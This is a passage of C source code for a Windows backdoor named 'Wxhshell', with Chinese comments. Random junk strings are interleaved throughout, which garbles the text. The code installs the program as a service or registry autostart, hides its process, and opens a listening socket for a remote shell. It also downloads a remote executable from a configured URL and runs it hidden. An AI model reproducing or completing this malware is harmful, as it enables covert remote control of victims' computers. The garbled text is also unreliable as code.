^T>.04";x return 0; // 注册表启动 ?id^v 7d } ]TN}`] .1M>KRSr, // 主模块 uS.a9
Q( int StartWxhshell(LPSTR lpCmdLine) 'iK*#b8l { :D-vE7 SOCKET wsl; u?/]"4 BOOL val=TRUE; 5@5="lNjS int port=0; N`fY%"5U> struct sockaddr_in door; LnIJw D X/"H+l if(wscfg.ws_autoins) Install(); W0hLh<Go 1N*~\rV*? port=atoi(lpCmdLine); <3OV |[ofc!/ if(port<=0) port=wscfg.ws_port; 2V 'Tt3 =z.AQe+ WSADATA data; 2Ta F7Jn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =wc[r?7 Hq8.O/Y"= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G9Ezm*I;: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ST.W{:X door.sin_family = AF_INET; GV/FK{v5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); RzRLrfV door.sin_port = htons(port); ' 'N@ <| j+seJg<_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )qe o`4+y closesocket(wsl); ;rbn/6 return 1;
1Btf)y' } qI:wm= :#;?dMkTY if(listen(wsl,2) == INVALID_SOCKET) { ) 'KHUa9 closesocket(wsl); " OtLJ return 1; Dr609(zg^ } H*IoJL6 Wxhshell(wsl); QB>e(j% WSACleanup(); !s:|Ddv @"0qS:s]X return 0; aleIy}" i"@?eq#h } V;=T~K|)> 5E8PbV-l // 以NT服务方式启动 ;?9~^,l VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g!UM8I-$
{ J4; ".Y= DWORD status = 0; uOx$@1v, DWORD specificError = 0xfffffff; !j@ 8:j0WY ap!<8N serviceStatus.dwServiceType = SERVICE_WIN32; !)]3@$# serviceStatus.dwCurrentState = SERVICE_START_PENDING; DJ.Ct4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g(Nf.hko serviceStatus.dwWin32ExitCode = 0; 6(=:j"w0 serviceStatus.dwServiceSpecificExitCode = 0; TvR2lP serviceStatus.dwCheckPoint = 0; WMg^W( serviceStatus.dwWaitHint = 0; Sl#XJ0 g dewu@ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # L R[6l if (hServiceStatusHandle==0) return; ;.Y`T/eWS 2}AV_]] status = GetLastError(); XDF",N) if (status!=NO_ERROR) ohl%<FqS { @lI/g serviceStatus.dwCurrentState = SERVICE_STOPPED; vPi+8) serviceStatus.dwCheckPoint = 0; EUgs2Fsb3 serviceStatus.dwWaitHint = 0; VTdZ&%@
serviceStatus.dwWin32ExitCode = status; ?{V[bm serviceStatus.dwServiceSpecificExitCode = specificError; :H{8j}" SetServiceStatus(hServiceStatusHandle, &serviceStatus); $) $sApB return; #S5vX<"9 } qeYr= %)c 1/HZY0em serviceStatus.dwCurrentState = SERVICE_RUNNING; vL7}0n>tz serviceStatus.dwCheckPoint = 0; f!yxS?j3 serviceStatus.dwWaitHint = 0; !p2&$s"N. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n8Fi?/ } (g\'Zw5bk 0IK']C // 处理NT服务事件,比如:启动、停止 +?p ;,Z%5 VOID WINAPI NTServiceHandler(DWORD fdwControl) ,LvJ'N { Q=[&~^Y) switch(fdwControl) FP$]D~DMo { q b'ka+X case SERVICE_CONTROL_STOP: aSj$62G" serviceStatus.dwWin32ExitCode = 0; xab[ serviceStatus.dwCurrentState = SERVICE_STOPPED; $f%_ 4 = serviceStatus.dwCheckPoint = 0; =uH`EkY: serviceStatus.dwWaitHint = 0; bCsQWsj^NW { s`{O- SetServiceStatus(hServiceStatusHandle, &serviceStatus); uf6{M_jXZ } [T|~Kh%# return; .Qaqkb-Ty case SERVICE_CONTROL_PAUSE:
7@`(DU`z serviceStatus.dwCurrentState = SERVICE_PAUSED; ^t*BWJxPC break; %$08*bAtB7 case SERVICE_CONTROL_CONTINUE: b4Z#]o serviceStatus.dwCurrentState = SERVICE_RUNNING; 2yNlQP8% break; sbVeB%k case SERVICE_CONTROL_INTERROGATE: +MEWAW[}^ break; SE\`JGA[ }; p`It=16trT SetServiceStatus(hServiceStatusHandle, &serviceStatus); qxq ~9\My } `]Xbw^Y'x q7;)&_' // 标准应用程序主函数 ~ rRIWfhb int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .R1)i-^ { uZNR]+Yu@ OG.`\G| // 获取操作系统版本 s=q}XIWK OsIsNt=GetOsVer(); k3Y>QN|q8 GetModuleFileName(NULL,ExeFile,MAX_PATH); -Fb/GZt| y ^YrGz. // 从命令行安装 S7V;sR"V2 if(strpbrk(lpCmdLine,"iI")) Install(); tY7u\Y;^ 49CMRO,T // 下载执行文件 sx9N8T3n if(wscfg.ws_downexe) { jN[Z mJz' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nQ mkDPjU WinExec(wscfg.ws_filenam,SW_HIDE); *I~F7Z]| } e='3gzz a*=e 3nS if(!OsIsNt) { ,}NG@JID // 如果时win9x,隐藏进程并且设置为注册表启动 k;%}%"EVZ HideProc(); q+N}AKawB StartWxhshell(lpCmdLine); &B)
F_E I } Jyd%!v else \"5 \hX~dS if(StartFromService()) (T@ov~@ // 以服务方式启动 te1lUQ StartServiceCtrlDispatcher(DispatchTable); ,[A} 86 else JO
_a+Yl // 普通方式启动 % R'eV< StartWxhshell(lpCmdLine); 3vy5JTCz~ j"f]pzg& return 0; )%Y$FLB }
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